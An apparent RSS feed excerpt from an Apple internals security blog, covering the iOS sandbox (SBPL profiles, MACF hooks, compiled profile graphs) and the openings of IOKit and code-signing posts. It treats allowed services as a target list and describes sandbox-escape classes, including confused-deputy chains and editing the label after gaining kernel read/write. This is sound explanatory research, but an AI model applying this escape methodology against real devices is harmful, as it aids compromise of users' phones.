<h2 id="where-this-leaves-us">Where this leaves us</h2>
<p>IOKit is one uniform entry path onto hundreds of independent drivers. The surface is wide because there are so many dispatch tables, and it stays productive because they were written by hand, one driver at a time. Find the clients you can reach, read their dispatch tables, and the surface stops being &ldquo;the whole kernel&rdquo; and becomes a short list of selectors you can actually audit.</p>
<p>That is one of the two local surfaces, and where this post stops. A dispatch table tells you what a driver accepts and where its checks are thin. The other half of what a sandboxed process can reach is the set of services it may send a Mach message to, and how you get one of them to do privileged work on your behalf. That is the next post: Mach messages, MIG, and XPC. Every <code>IOConnectCall*</code> above already crossed into the kernel through a MIG stub; the next post takes MIG apart.</p>
<h2 id="notes-and-sources">Notes and sources</h2>
<p>Everything here is drawn from open source, vendor documentation, published research, and a kernelcache anyone can download.</p>
<ul>
<li>Apple, <a href="https://github.com/apple-oss-distributions/xnu">XNU source</a>: <code>iokit/IOKit/IOUserClient.h</code>, <code>iokit/Kernel/IOUserClient.cpp</code>, and <code>osfmk/device/device.defs</code>, the primary reference for <code>IOExternalMethodDispatch</code>, <code>IOExternalMethodArguments</code>, and the <code>io_connect_method</code> / <code>io_connect_async_method</code> MIG routines the <code>IOConnectCall*</code> family funnels through.</li>
<li>Tommy Muir (Muirey03), <a href="https://github.com/Muirey03/CVE-2022-32832">CVE-2022-32832 write-up and proof-of-concept</a>, the source for the case study: selector 49, <code>methodDeltaCreateFinalize</code>, the <code>delta_create_ctx_t</code> double-free, the root precondition, and the <code>IOLockLock</code>/<code>IOLockUnlock</code> fix in iOS 15.6.</li>
<li>Karol Mazurek, &ldquo;Mapping IOKit Methods Exposed to User Space on macOS&rdquo;, <a href="https://phrack.org/issues/72/9">Phrack 72:9</a> (2025), on recovering dispatch tables statically and the 0x18 versus 0x28 entry stride.</li>
<li>Saar Amar, <a href="https://saaramar.github.io/iouc22_overview/">&ldquo;IOUserClient2022 highlevel overview&rdquo;</a> and <a href="https://saaramar.github.io/ios16_restricted_iouserclients/">&ldquo;iOS 16 restricted Userclients&rdquo;</a>, the reference for the 2022 dispatcher&rsquo;s centralised checks and the restricted/unrestricted method-table split.</li>
<li>Brandon Azad, <a href="https://projectzero.google/2020/06/a-survey-of-recent-ios-kernel-exploits.html">&ldquo;A survey of recent iOS kernel exploits&rdquo;</a> (Project Zero, 2020), the exploit-by-exploit catalogue the four bug classes here are drawn from.</li>
<li>Ian Beer, <a href="https://projectzero.google/2023/10/an-analysis-of-an-in-the-wild-ios-safari-sandbox-escape.html">&ldquo;An analysis of an in-the-wild iOS Safari WebContent to GPU Process exploit&rdquo;</a> (Project Zero, 2023), for why a renderer no longer opens GPU user clients directly.</li>
<li>Apple, <a href="https://security.apple.com/blog/memory-integrity-enforcement/">&ldquo;Memory Integrity Enforcement&rdquo;</a> (2025), the primary source for synchronous memory tagging on A19.</li>
<li>Moritz Steffin and Jiska Classen, <a href="https://arxiv.org/abs/2510.09272">&ldquo;Modern iOS Security Features: A Deep Dive into SPTM, TXM, and Exclaves&rdquo;</a> (2025), for why IOKit running at EL1, the kernel&rsquo;s ARM64 exception level, no longer implies control of the page tables.</li>
<li>Jonathan Levin, <em>*OS Internals, Volume II: Kernel Mode</em> (<a href="https://newosxbook.com/index.php">newosxbook.com</a>), for IOKit, the registry, and driver matching.</li>
</ul>]]></description>
    </item>
    <item>
      <title>Apple internals #4: The iOS sandbox</title>
      <link>https://sigreturn.com/blog/ios-sandbox/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/ios-sandbox/</guid>
      <pubDate>Sun, 05 Jul 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>ios</category>
      <category>sandbox</category>
      <category>macf</category>
      <category>sbpl</category>
      <category>sandbox-escape</category>
      <category>mach-lookup</category>
      <category>entitlements</category>
      <description><![CDATA[<p><a href="/blog/ios-code-signing-pipeline/">The previous post</a> ended on <code>cr_label</code>, the Mandatory Access Control Framework label on a process&rsquo;s credentials. AMFI, Apple Mobile File Integrity, writes its verdict there at exec time, entitlements and sandbox exceptions included. A second policy module, the sandbox, reads the same slot and asks the question that follows: with the process now running, what may it reach?</p>
<p>The answer is not a check scattered through the kernel. It is a single compiled document, one per process, that the kernel consults on every sensitive operation: open this file, resolve that Mach service name, call this IOKit method. That document is the process&rsquo;s <strong>sandbox profile</strong>: the exact list of what a confined process can reach, and therefore the list of everything an attacker who lands in it will try next. Escaping a sandbox is far more often a matter of reading the profile than of corrupting anything.</p>
<div class="admonition note">
<p>Everything here is public: Apple&rsquo;s open-source XNU, the Apple Platform Security documentation, published research from Dionysus Blazakis, the SandBlaster authors and Brandon Azad, and the sandbox profiles shipped on every Mac. It contains no exploit, private detail, or 0day.</p>
</div>
<h2 id="the-sandbox-is-built-like-amfi">The sandbox is built like AMFI</h2>
<p>The sandbox is <code>Sandbox.kext</code>, a kernel extension (bundle id <code>com.apple.security.sandbox</code>) and a MACF policy module structurally identical to AMFI. It registers a callback at each sensitive operation: a file open, a memory mapping, an IOKit user-client open, a raw syscall. MACF invokes every registered policy there, and a deny from any one denies the operation. That is the deny-wins property from the last post: a single refusal from either module ends the operation, so switching one off buys nothing from the other.</p>
<p>A <code>mach-lookup</code>, resolving a Mach service name to a port, takes a different route. There is no MACF hook for it: launchd asks the sandbox through the policy syscall before it hands out the send right, and the answer comes out of the same profile.</p>
<p>AMFI&rsquo;s central verdict is taken at exec and is about code identity. The sandbox runs for the rest of the process&rsquo;s life and filters every sensitive operation it attempts. Both read the same <code>cr_label</code>: AMFI&rsquo;s verdict sits in one slot, and a pointer to this process&rsquo;s compiled profile sits in a second slot, which the kernel pulls out and evaluates against at each hook.</p>
<p>The model is <strong>deny by default</strong>. A profile begins with <code>(deny default)</code>, and every capability the process has is an explicit <code>allow</code> written against it. Nothing the profile did not name is permitted.</p>
<p>Two profiles apply to essentially every process, and an operation is allowed only if <strong>both</strong> allow it:</p>
<ul>
<li>The <strong>platform profile</strong> is a single mandatory base policy compiled into the kext (<code>_platform_profile_data</code>) and evaluated for <em>every</em> process, root daemons included. It is the iOS analogue of SIP (System Integrity Protection) at the MAC layer: even uid-0 code is confined. Because both profiles have to allow an operation, what the platform profile permits is the maximum any process on the system gets, and a per-process profile can only narrow it.</li>
<li>The <strong>per-process profile</strong> is <code>container</code> for third-party apps (every App Store app gets the identical container profile; what differentiates them is Apple-signed entitlements plus the per-app parameters bound in at spawn, <code>HOME</code>, the bundle id, App Group UUIDs) or one of the named service profiles: <code>com.apple.WebKit.WebContent</code>, <code>mediaserverd</code>, <code>quicklook-thumbnail</code>, and the rest.</li>
</ul>
<p>The offensive consequence is the one from the last post: once you have <a href="/blog/xnu-under-the-hood/">kernel read/write</a>, what confines the process is that pointer. Overwrite it, swap in an unrestricted profile or <code>NULL</code>, and the process is no longer confined, without ever touching the policy itself.</p>
<h2 id="containers-every-process-in-its-own-tree">Containers: every process in its own tree</h2>
<p>Much of what the profile enforces is expressed in terms of the container. <code>containermanagerd</code>, itself a sandboxed daemon, creates each app&rsquo;s data container at <code>/var/mobile/Containers/Data/Application/&lt;UUID&gt;/</code>, where the UUID is a random per-install identifier no other app ever learns, and records ownership out of the app&rsquo;s reach. The profile binds a variable, <code>HOME</code>, to that path at spawn, so a <code>file-read*</code> or <code>file-write*</code> rule written against <code>(subpath (param "HOME"))</code> resolves into the app&rsquo;s private tree and nowhere else.</p>
<p>The sanctioned way out of that isolation is an <strong>App Group</strong>: a shared directory under <code>/var/mobile/Containers/Shared/AppGroup/&lt;UUID&gt;/</code>, gated by the <code>com.apple.security.application-groups</code> entitlement, that several of a developer&rsquo;s apps can share. On macOS the same machinery puts each sandboxed app under <code>~/Library/Containers/&lt;bundle-id&gt;/</code>. The container is the filesystem half of confinement; the IPC, IOKit, and syscall half is in the profile.</p>
<h2 id="sbpl-and-the-profile-the-kernel-actually-reads">SBPL, and the profile the kernel actually reads</h2>
<p>Profiles are authored in <strong>SBPL</strong>, the Sandbox Profile Language, a small dialect of Scheme. A rule is <code>(action operation filter... modifier...)</code>:</p>
<ul>
<li><strong>action</strong> is <code>allow</code> or <code>deny</code>.</li>
<li><strong>operation</strong> is hierarchical and wildcarded: <code>file-read*</code> covers <code>file-read-data</code>, <code>file-read-metadata</code>, <code>file-read-xattr</code>; alongside it sit <code>file-write*</code>, <code>mach-lookup</code>, <code>network*</code>, <code>iokit-open</code> (opening a driver&rsquo;s user client), <code>process-exec*</code>, <code>sysctl-read</code>, <code>syscall-unix</code>, and a few dozen more. <code>default</code> sets the base verdict.</li>
<li><strong>filter</strong> narrows the rule to specific arguments: path filters (<code>literal</code>, <code>subpath</code>, <code>prefix</code>, <code>regex</code>), the Mach <code>global-name</code> / <code>local-name</code> (the service name being looked up), <code>require-entitlement</code>, <code>iokit-user-client-class</code>, network <code>socket-domain</code> / <code>remote</code>. Filters combine with <code>require-all</code> / <code>require-any</code> / <code>require-not</code>.</li>
<li><strong>modifier</strong> tweaks the outcome: <code>report</code>, a specific <code>errno</code> to return on deny, <code>send-signal</code> to kill on violation, and <code>no-sandbox</code>, which lets a child run unconfined.</li>
</ul>
<p>So a single line like <code>(allow mach-lookup (global-name "com.apple.tccd"))</code> reads as it looks: this process may resolve the name of TCC, the Transparency, Consent, and Control daemon, and no other name.</p>
<p>On macOS, <code>libsandbox</code> compiles SBPL to bytecode at spawn, and a dynamic profile can even run Scheme to <em>generate</em> its rules from the process&rsquo;s entitlements. On iOS none of that happens at runtime: the platform profile and every named-service profile ship <strong>pre-compiled inside the kext</strong>, in memory the kernel is not allowed to rewrite. No source on the device to read, no compiler to invoke.</p>
<p>The kernel never sees SBPL text; it walks a compiled decision graph. As recovered by SandBlaster, a compiled profile is a header plus an array of fixed <strong>8-byte nodes</strong>, indexed by an operation table: entry <em>i</em> is the root node for operation <em>i</em>. A node is either non-terminal, testing one filter against the operation&rsquo;s context with an argument taken from the profile&rsquo;s string, regex, or literal tables, and jumping to one of two other nodes on match or mismatch; or terminal, carrying the verdict and its modifier flags.</p>
<p>To decide a <code>mach-lookup</code> of <code>com.apple.foo</code>, the evaluator starts at the <code>mach-lookup</code> root and tests <code>global-name</code> against the first allowed name. A miss threads to the next candidate, and so on down the chain of allowed names, until a match reaches an allow terminal or the last mismatch lands on the <code>default</code> terminal, a deny. Traversal is <code>O(depth)</code> and the only attacker input is the argument being compared, which is why bugs in the <em>interpreter</em> are scarce and the productive attack is on the <em>content</em> of the policy.</p>
<h2 id="hands-on-reading-a-profile-off-a-stock-mac">Hands-on: reading a profile off a stock Mac</h2>
<p>You do not have to decompile anything to learn this on a Mac. Unlike iOS, macOS ships a large set of first-party profiles as readable SBPL text, right in the filesystem.</p>
<pre><code class="language-bash">ls /System/Library/Sandbox/Profiles/*.sb | head
</code></pre>
<pre><code>/System/Library/Sandbox/Profiles/accessorysensormgrd.sb
/System/Library/Sandbox/Profiles/airlock.sb
/System/Library/Sandbox/Profiles/application.sb
/System/Library/Sandbox/Profiles/appsandbox-common.sb
/System/Library/Sandbox/Profiles/apsd.sb
/System/Library/Sandbox/Profiles/ASPCarryLog.sb
/System/Library/Sandbox/Profiles/AudioAccessoryAssetManagementXPCService.sb
/System/Library/Sandbox/Profiles/betaenrollmentagent.sb
/System/Library/Sandbox/Profiles/betaenrollmentd.sb
/System/Library/Sandbox/Profiles/blastdoor.sb
</code></pre>
<p>Two of those first ten already matter: <code>blastdoor.sb</code> is BlastDoor, the sandbox Apple built around iMessage parsing, and <code>application.sb</code> the base every third-party app inherits. <code>quicklook-thumbnail.sb</code> covers the QuickLook thumbnail generator, which is where an attacker lands for free: the OS parses a file to draw a thumbnail, with no user interaction, on bytes an attacker chose, as soon as it is downloaded, AirDropped, or opened in a Finder window. A memory-safety bug in one of those parsers gives you code execution <em>inside this profile</em>, so its allowed set is exactly what that bug can reach.</p>
<p>Skip the Apple banner at the top, which warns that these rules are private interface and auto-generated, and read the head of the policy:</p>
<pre><code class="language-bash">sed -n '9,12p' /System/Library/Sandbox/Profiles/quicklook-thumbnail.sb
</code></pre>
<pre><code>(version 1)
(deny default file-link)
(import &quot;system.sb&quot;)
(import &quot;appsandbox-common.sb&quot;)
</code></pre>
<p>Deny by default, then two imports: <code>system.sb</code>, the common base every process pulls in, and <code>appsandbox-common.sb</code>, the shared App Sandbox layer. The effective policy is this file plus whatever those two allow. Now the allowed Mach services:</p>
<pre><code class="language-bash">grep -nE 'global-name|mach-lookup' /System/Library/Sandbox/Profiles/quicklook-thumbnail.sb
</code></pre>
<pre><code>153:(allow mach-lookup
154:       (global-name &quot;com.apple.containermanagerd&quot;)
155:       (global-name &quot;com.apple.CoreServices.coreservicesd&quot;)
156:       (global-name &quot;com.apple.coreservices.quarantine-resolver&quot;)
157:       (global-name &quot;com.apple.cvmsServ&quot;)
158:       (global-name &quot;com.apple.distributed_notifications@1v3&quot;)
159:       (global-name &quot;com.apple.distributed_notifications@Uv3&quot;)
160:       (global-name &quot;com.apple.FileCoordination&quot;)
161:       (global-name &quot;com.apple.FontObjectsServer&quot;)
162:       (global-name &quot;com.apple.fonts&quot;)
163:       (global-name &quot;com.apple.gputools.service&quot;)
164:       (global-name &quot;com.apple.mobileassetd&quot;)
165:       (global-name &quot;com.apple.ocspd&quot;)
166:       (global-name &quot;com.apple.securityd.xpc&quot;)
167:       (global-name &quot;com.apple.SecurityServer&quot;)
168:       (global-name &quot;com.apple.spindump&quot;)
169:       (global-name &quot;com.apple.SystemConfiguration.configd&quot;)
170:       (global-name &quot;com.apple.tailspind&quot;)
171:       (global-name &quot;com.apple.tccd&quot;)
172:       (global-name &quot;com.apple.tccd.system&quot;)
173:       (global-name &quot;com.apple.TrustEvaluationAgent&quot;)
174:       (global-name &quot;com.apple.windowserver.active&quot;))
175:(allow mach-lookup
176:       (global-name &quot;PurplePPTServer&quot;)
177:       (global-name &quot;PurpleSystemEventPort&quot;)
178:       (global-name &quot;com.apple.awdd&quot;)
179:       (global-name &quot;com.apple.itunesstored.xpc&quot;)
180:       (global-name &quot;com.apple.lskdd&quot;))
</code></pre>
<p>That is the allowed set. Twenty-odd names, each one a service this profile may resolve into a send right; every other name on the system is unreachable, and <code>bootstrap_look_up</code>, the call that turns a service name into a port, returns nothing. It is the complete first-order attack surface of a thumbnailing bug, and the escape routes are visible in it: <code>com.apple.tccd</code> and <code>com.apple.tccd.system</code> decide whether code may reach your camera, microphone, and private files; <code>com.apple.SecurityServer</code> and <code>com.apple.securityd.xpc</code> front the keychain; <code>com.apple.windowserver.active</code> is WindowServer, historically one of the deepest escape surfaces on the platform; <code>com.apple.CoreServices.coreservicesd</code> is Launch Services, which can start other programs; <code>com.apple.cvmsServ</code> is the shader-compilation service, a long-standing target because it parses and compiles attacker-supplied shaders. The second block, the <code>Purple*</code> names (<code>Purple</code> is Apple&rsquo;s internal codename for iOS), shows that these first-party profiles are shared source between iOS and macOS.</p>
<p>To watch a denial happen, write a profile that allows everything except one class, the network, and run a program under it:</p>
<pre><code class="language-bash">cat &gt; /tmp/nonet.sb &lt;&lt;'EOF'
(version 1)
(allow default)
(deny network* (with message &quot;nonet-demo&quot;))
EOF
sandbox-exec -f /tmp/nonet.sb /usr/bin/curl -sI https://www.apple.com ; echo &quot;exit: $?&quot;
</code></pre>
<pre><code>exit: 6
</code></pre>
<p><code>(allow default)</code> lets curl start normally; the later <code>(deny network*)</code> wins for that one class, so its first network move, resolving the hostname, is refused. curl exits 6, <code>CURLE_COULDNT_RESOLVE_HOST</code>: the DNS query never left the sandbox. Keep <code>log stream --predicate 'sender == "Sandbox"'</code> open in another terminal and the violation surfaces as the <code>nonet-demo</code> message, the same way the kernel logged the AMFI kill in the last post.</p>
<p>You can read this profile because it is a Mac, and macOS ships the sources. On the device there is no <code>quicklook-thumbnail.sb</code> to <code>cat</code>: the profile is compiled into <code>Sandbox.kext</code> and locked in memory. To get the same list on iOS you query it at runtime with <code>sandbox_check</code> or Levin&rsquo;s <code>sbtool</code> against a live process, or you pull the kext out of the kernelcache and run it through SandBlaster to recover the SBPL. More work than a <code>cat</code>, same answer.</p>
<h2 id="what-the-profile-tells-an-attacker">What the profile tells an attacker</h2>
<p>The allowed set is a target list, because sandbox escapes are dominated by logic bugs. A bug that reasons around the policy is unaffected by the kernel&rsquo;s memory-safety hardening, for the reason the code-signing post gave: it never corrupts anything. The classes below are all visible from the profile we just read.</p>
<p><strong>Confused deputy via <code>mach-lookup</code>.</strong> The most productive class by far. Each allowed <code>global-name</code> is a service running with <em>its own</em> profile, <em>its own</em> entitlements, and often a higher uid. Find a bug in one of them, memory-safety or logic, and you inherit its capabilities without ever attacking the sandbox itself. The method is invariant: enumerate the allowed services, rank them by privilege and entitlements, and audit each endpoint&rsquo;s message handlers. Reachable is not exploitable, since a service may have its own tight profile and hardened handlers. And escaping into a service usually lands you in <em>another</em>, often wider, sandbox, so real chains stack escapes until they reach an unsandboxed or root deputy, or the kernel.</p>
<p>That last case is what Brandon Azad&rsquo;s <strong><code>blanket</code></strong> (CVE-2018-4280) did on iOS: a Mach-service bug chained through reachable services to <code>ReportCrash</code>, which was unsandboxed, ran as root, and held <code>task_for_pid-allow</code>, so the confused deputy handed over the task port of any process on the device, amfid included. No memory was corrupted; the deputy did the privileged work on the attacker&rsquo;s behalf.</p>
<p><strong>Unsandboxed or under-sandboxed services.</strong> A reachable process with no profile at all, an <code>(allow default)</code>, or a <code>no-sandbox</code> grant on its children is an escape by construction, and the first thing to grep the decompiled policies for. <code>ReportCrash</code> was the classic; the macOS analogue today is the tail of XPC services (XPC is Apple&rsquo;s IPC layer over Mach, the subject of the next post) that auto-register in one process&rsquo;s launchd domain when a framework loads and skip the entitlement checks their system-wide siblings enforce.</p>
<p><strong>Bugs in the evaluation itself.</strong> Rare, because the interpreter is small and sees data you only indirectly control, and total when they land: a flaw in the interpreter, the regex engine, or the check on extension tokens (the signed grants a broker hands a client for one specific path) applies to every profile at once. The realistic corners are the regex table, where a pattern matches a path it should not through <code>..</code>, UTF-8, or case-folding, and the HMAC (keyed hash) that authenticates those tokens.</p>
<p><strong>Entitlement and exception widening.</strong> Entitlements <em>widen the profile</em> as well as unlocking AMFI capabilities, and the mechanism is at the bottom of the QuickLook file:</p>
<pre><code>217:  &quot;com.apple.security.temporary-exception.mach-lookup.global-name&quot;
218:  (lambda (name) (allow mach-lookup (global-name name))))
220:  &quot;com.apple.security.temporary-exception.mach-lookup.local-name&quot;
221:  (lambda (name) (allow mach-lookup (local-name name))))
</code></pre>
<p>A process whose signature carries that entitlement gets to resolve <em>any</em> service name it lists, overriding its own profile&rsquo;s deny-default, though still only up to what the platform profile allows. It is an escape class the moment an exception is over-broad, or a broker issues one on a client&rsquo;s say-so without checking that the client should have it.</p>
<p><strong>Uncovered operations and filter races.</strong> The gaps: an operation nobody wrote a rule for, which inherits a too-generous <code>default</code>, or a path filter defeated by a symlink, a <code>..</code>, or a rename race slipped between the <code>mpo_vnode_check_*</code> callout and the filesystem operation itself. These are TOCTOU (time-of-check to time-of-use) bugs, and they appear wherever a filter matches a name that a moment later points somewhere else.</p>
<h2 id="state-in-2026">State in 2026</h2>
<p>The model has not changed since 2021; the escape got narrower and better instrumented. The sandbox is still an in-XNU MACF kext, and unlike the code-signing verdict from the last post, which moved out to TXM (the Trusted Execution Monitor), sandbox evaluation did <strong>not</strong> migrate to TXM or to the Exclaves, the isolated domains that run outside XNU under the Secure Kernel. What changed is the surface around it.</p>
<ul>
<li><strong>Per-syscall filtering matured.</strong> <code>syscall-unix</code>, <code>syscall-mach</code>, and kernel MIG-routine filtering (MIG, the Mach Interface Generator, produces the RPC stubs behind Mach interfaces) let a profile allow <em>individual</em> BSD syscalls, Mach traps, and kernel routines. WebContent, the Safari renderer, and BlastDoor now run with short explicit lists, so much of the raw XNU trap surface that was implicitly reachable in 2021 is explicitly denied per profile. Reverse the syscall nodes before you assume a trap is even callable from where you stand.</li>
<li><strong>The reachable-service set keeps shrinking.</strong> First-party profiles, WebContent above all, have had their <code>mach-lookup</code> lists cut repeatedly. From the modern Safari renderer the direct reach is minimal, principally the WebKit GPU and Networking processes, which is why the current browser escape pivots <em>through the GPU process</em> instead of messaging a daemon directly.</li>
<li><strong>Launch constraints and DER entitlements close adjacent attack paths.</strong> Launch constraints (iOS 16 and later) bind <em>which</em> process may spawn a given binary, killing the old trick of relaunching a privileged Apple binary in your own context to inherit its wider profile. Entitlements are now DER-encoded (Distinguished Encoding Rules, a canonical binary form rather than a plist) and validated by TXM, so forging one to widen a profile is far harder than it was.</li>
<li><strong>The policy itself is out of reach of a kernel write.</strong> The platform profile blob was always locked by KTRR/CTRR (the Kernel Text Read-only Region and its configurable successor), and on A15 and M2 silicon from iOS 17 and macOS 14 onward, the pages holding the compiled policy are, plausibly, owned by SPTM (the Secure Page Table Monitor) under its physical-frame retyping, so even full kernel read/write cannot patch a profile in place. The label is no longer reachable either: since iOS 15.2 and macOS 12.1 (xnu-8019.61.5), <code>struct label</code> is allocated from a read-only zone (<code>ZC_READONLY</code>, in <code>security/mac_label.c</code>) and its slots are written through <code>zalloc_ro_update_field()</code>, so the label edit that used to follow a kernel read/write now needs the allocator&rsquo;s own privileged write path rather than a plain store.</li>
<li><strong>Sensitive resources are moving under Exclaves.</strong> Camera and microphone capture, and the recording indicator, are migrating to sensor and indicator Exclaves reached only through SPTM-mediated paths. A <code>device-camera</code> or <code>device-microphone</code> allow in a profile is becoming necessary but not sufficient, because the actual capture path is gated below XNU. A sandbox escape, or even a kernel compromise, no longer silently disables the recording indicator.</li>
</ul>
<p>Sandbox logic is untouched by all of it: confused deputies, extension-scoping bugs, an under-sandboxed daemon, a profile gap, a filter race. <code>kalloc_type</code> and MIE (Memory Integrity Enforcement, the synchronous memory tagging on A19 and the iPhone 17 line) only make the stage <em>after</em> the escape harder, and it is only on anything still running iOS 15 or older that the old flow survives, where kernel read/write plus a plain label edit is the whole desandbox.</p>
<h2 id="where-this-leaves-us">Where this leaves us</h2>
<p>The sandbox is one compiled document per process, deny-by-default, walked by a small interpreter over a decision graph. The platform profile sets the maximum any process gets; a per-process profile and its entitlements narrow it further. You find its bugs by reading the profile: the allowed <code>mach-lookup</code> set is everything the process can reach, and therefore everything you can try.</p>
<p>Which is also the honest limit of this post. The profile tells you <em>which</em> drivers and services you may reach. It says nothing about <em>how</em> to talk to them, or what goes wrong when you do. <a href="/blog/iokit-attack-surface/">The next post</a> picks one <code>iokit-open</code> allowance and follows the user client behind it into the driver, down to the table that decides which function your call lands on.</p>
<h2 id="notes-and-sources">Notes and sources</h2>
<p>Everything here is drawn from open source, vendor documentation, published research, and the profiles shipped on any Mac.</p>
<ul>
<li>Dionysus Blazakis, <a href="https://media.blackhat.com/bh-dc-11/Blazakis/BlackHat_DC_2011_Blazakis_Apple_Sandbox-wp.pdf">&ldquo;The Apple Sandbox&rdquo;</a> (Black Hat DC 2011), the original public reverse-engineering of the SBPL bytecode model, still the conceptual baseline.</li>
<li>Răzvan Deaconescu et al. (malus-security), <a href="https://arxiv.org/abs/1608.04303">&ldquo;SandBlaster: Reversing the Apple Sandbox&rdquo;</a> and the <a href="https://github.com/malus-security/sandblaster"><code>sandblaster</code></a> decompiler (maintained fork at <a href="https://github.com/cellebrite-labs/sandblaster">cellebrite-labs</a>); <code>reverse-sandbox/operation_node.py</code> documents the 8-byte node layout, the <code>0x00</code> non-terminal / <code>0x01</code> terminal type byte, and the operation table of 16-bit offsets behind the walk above.</li>
<li>Patroklos Argyroudis (CENSUS), <a href="https://census-labs.com/resources/vs-comapplesecuritysandbox-cansecwest-2019">&ldquo;Vs com.apple.security.sandbox&rdquo;</a> (CanSecWest 2019), the hooks and the operation/filter internals from an offensive stance.</li>
<li>nsantoine, <a href="https://nsantoine.dev/SandboxPaper.pdf">&ldquo;A Worm&rsquo;s Look Inside: Apple&rsquo;s Sandboxing Security Measures&rdquo;</a> (2024), a modern account of <code>cred_sb_evaluate</code>, <code>label_get_sandbox</code>, operation numbering, and the platform-profile-in-kext design.</li>
<li>Brandon Azad, <a href="https://github.com/bazad/blanket"><code>blanket</code></a> (CVE-2018-4280), the canonical <code>mach-lookup</code> confused-deputy escape to <code>ReportCrash</code>.</li>
<li>Apple, <a href="https://github.com/apple-oss-distributions/xnu">XNU source</a>: <code>security/mac_label.c</code> for the read-only zone holding <code>struct label</code> and the <code>zalloc_ro_update_field()</code> path its slots are written through.</li>
<li>Moritz Steffin and Jiska Classen, <a href="https://arxiv.org/abs/2510.09272">&ldquo;Modern iOS Security Features: A Deep Dive into SPTM, TXM, and Exclaves&rdquo;</a> (2025), for the Exclaves and sensor/indicator domains behind the 2026 <code>device-*</code> changes.</li>
<li>Apple, <a href="https://security.apple.com/blog/memory-integrity-enforcement/">&ldquo;Memory Integrity Enforcement&rdquo;</a> (2025), the primary source for synchronous memory tagging on A19 and the iPhone 17 line.</li>
<li>Jonathan Levin, <em>*OS Internals, Volume III: Security &amp; Insecurity</em> (<a href="https://newosxbook.com/index.php">newosxbook.com</a>) and the <code>sbtool</code> utility, the reference for MACF, the sandbox internals, and querying a live process&rsquo;s profile with <code>sandbox_check</code>.</li>
<li>Apple, <a href="https://support.apple.com/guide/security/welcome/web">Apple Platform Security</a>, for the app sandbox, data containers, and the privacy-indicator architecture at the vendor-documentation level.</li>
</ul>]]></description>
    </item>
    <item>
      <title>Apple internals #3: The iOS code-signing pipeline</title>
      <link>https://sigreturn.com/blog/ios-code-signing-pipeline/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/ios-code-signing-pipeline/</guid>
      <pubDate>Sat, 04 Jul 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>ios</category>
      <category>amfi</category>
      <category>macf</category>
      <category>code-signing</category>
      <category>trust-cache</category>
      <category>coretrust</category>
      <category>entitlements</category>
      <description><![CDATA[<p><a href="/blog/xnu-under-the-hood/">The previous post</a> ended on a single field. Inside every process&rsquo;s credentials, <code>p_ucred</code>, sits <code>cr_label</code>, a slot the kernel reserves for the Mandatory Access Control Framework. AMFI and the sandbox hang their per-process policy there. This post is about what hangs there.</p>
<p>Every time a process is created, through <code>execve</code> or <code>posix_spawn</code>, the kernel answers one question before it runs a single instruction of the new image: may these bytes execute? Anyone who has built for iOS has seen the visible answer, the log line <code>AMFI: code signature validation failed</code>. That line names AMFI, Apple Mobile File Integrity, so it is easy to read AMFI as <em>the</em> code-signing check. It is one policy module plugged into a generic kernel framework, and the verdict it reports comes out of a pipeline behind it, walked in a fixed order.</p>
<div class="admonition note">
<p>Everything here is public: Apple&rsquo;s open-source XNU, the Apple Platform Security documentation, and published research from Siguza, Project Zero, Linus Henze and others. It contains no exploit, private detail, or 0day.</p>
</div>
<h2 id="macf-the-framework-amfi-plugs-into">MACF: the framework AMFI plugs into</h2>
<p><strong>MACF</strong> was inherited from TrustedBSD and wired into XNU. It is not a security policy and enforces nothing on its own. It is a registration and dispatch layer: hook points placed through the kernel at every sensitive operation, into which separate <em>policy modules</em> register their callbacks.</p>
<p>AMFI is one of those policy modules, and so is the sandbox. <code>AppleMobileFileIntegrity.kext</code>, a kernel extension (kext), is a set of <code>mpo_*</code> callbacks hung on MACF hook points. That is why the two acronyms always show up together in a stack trace: AMFI is the policy, MACF is the mechanism it runs on. The sandbox, covered in the next post, is a second set of callbacks on the same hooks.</p>
<p>Two properties of the framework are load-bearing for an attacker.</p>
<p>Checks are deny-wins: when several policies implement the same check, the kernel keeps the most restrictive answer, so AMFI and the sandbox each hold an independent veto over the same operation. A bug that makes AMFI return &ldquo;allow&rdquo; early does not disable the sandbox&rsquo;s hook on that operation, and the reverse is also true.</p>
<p>Each policy keeps its state in label slots on the objects the kernel tracks, and the one that matters here is <code>cr_label</code>, on a process&rsquo;s credentials, the field we met at the end of the last post. AMFI&rsquo;s per-process code-signing verdict and the sandbox&rsquo;s compiled profile both live in it. The offensive consequence is direct: with kernel read/write, editing that slot rewrites the verdict the policy stored. Patch the AMFI slot and the recorded verdict says your process passed; patch the sandbox slot and the process is no longer confined. The framework is also its own target, since corrupting the policy list turns enforcement off wholesale. The sanctioned form of exactly that switch is the boot argument <code>amfi_get_out_of_my_way</code>.</p>
<h2 id="what-a-signature-is-ending-at-the-cdhash">What a signature is, ending at the cdhash</h2>
<p>What the kernel decides <em>about</em> is the code signature embedded in the Mach-O, and it reduces to a single 20-byte number.</p>
<p>The invariant the whole component exists to enforce is <strong>W^X (write xor execute) plus code integrity</strong>: no page of memory is ever both writable and executable, and the contents of every executable page hash to a value a trusted party signed. Break that and a memory-corruption bug stops being a crash and becomes persistent native code, which is why every jailbreak eventually has to defeat this layer.</p>
<p>A signed Mach-O carries an <code>LC_CODE_SIGNATURE</code> load command pointing at a blob in its <code>__LINKEDIT</code> segment. That blob is a <strong>SuperBlob</strong> (magic <code>0xFADE0CC0</code>): a small header, a count, and an index of <code>(type, offset)</code> pairs, each pointing at a sub-blob. The sub-blobs are the parts of the signature:</p>
<table>
<thead>
<tr>
<th>Sub-blob</th>
<th>What it holds</th>
</tr>
</thead>
<tbody>
<tr>
<td>CodeDirectory</td>
<td>the page-hash array, and the thing the cdhash is a hash <em>of</em></td>
</tr>
<tr>
<td>Entitlements (XML or DER, Distinguished Encoding Rules)</td>
<td>signed key/value capabilities</td>
</tr>
<tr>
<td>Requirements</td>
<td>rules a valid signer must satisfy</td>
</tr>
<tr>
<td>CMS wrapper</td>
<td>the cryptographic signature itself, a CMS (Cryptographic Message Syntax, PKCS#7) structure</td>
</tr>
</tbody>
</table>
